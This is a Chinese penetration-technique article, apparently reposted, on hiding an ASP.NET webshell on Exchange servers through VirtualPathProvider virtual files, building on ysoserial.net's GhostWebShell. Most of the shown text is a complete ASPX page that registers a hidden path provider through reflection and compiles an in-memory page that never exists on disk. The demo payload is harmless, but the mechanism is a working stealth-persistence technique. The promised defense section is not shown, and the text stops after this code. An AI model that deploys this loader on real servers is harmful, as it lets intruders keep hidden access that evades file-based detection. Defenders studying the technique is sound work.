渗透技巧之利用虚拟文件隐藏ASP.NET Webshell

时间:2022-01-08 来源:未知网络 作者:996建站网

前言

通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的hostWebShell.cs提供了一种可供学习的利用思路

本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议

戳此领取网络安全资源

目录:

  • VirtualPathProvider在Exchange下的利用
  • DotNet反序列化在Exchange下的利用
  • 防御检测

一、VirtualPathProvider在Exchange下的利用

参考资料:

docs.microsoft.com/en-u

在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建

示例代码:

<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">

    public class DeferredPathProvider : VirtualPathProvider
    {
        public DeferredPathProvider() : base()
        {
        }

        public bool IsTargetVirtualPath(string virtualPath)
        {
            string path = VirtualPathUtility.ToAppRelative(virtualPath);
            return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
        }

        public override VirtualFile GetFile(string virtualPath)
        {
            if (IsTargetVirtualPath(virtualPath))
            {
                return new DeferredVirtualFile(this, virtualPath);
            }
            else
            {
                return Previous.GetFile(virtualPath);
            }
        }

        public override bool FileExists(string virtualPath)
        {
            return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
        }
    }

    public class DeferredVirtualFile : VirtualFile
    {
        DeferredPathProvider provider = null;

        public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)
        {
            this.provider = provider;
        }

        public override Stream Open()
        {
        Stream stream = new MemoryStream();

        StreamWriter writer = new StreamWriter(stream);
        writer.Write("<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" +
            "<% Response.Write(\"Compiled on the fly :)\"); %>");
        writer.Flush();
        stream.Seek(0, SeekOrigin.Begin);

        return stream;
        }
    }

    private Page handler = null;
    public void Page_Load()
    {
        DeferredPathProvider provider = new DeferredPathProvider();
        typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
        BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
        .Invoke(null, new object[] { provider });
        
        handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));
        handler.ProcessRequest(HttpContext.Current);
    }

    protected override void Render(HtmlTextWriter writer)
    {
    }
</script>

渗透技巧之利用虚拟文件隐藏ASP.NET Webshell插图

微信扫一扫 关注公众号

微信扫一扫 使用小程序

百度扫一扫 使用小程序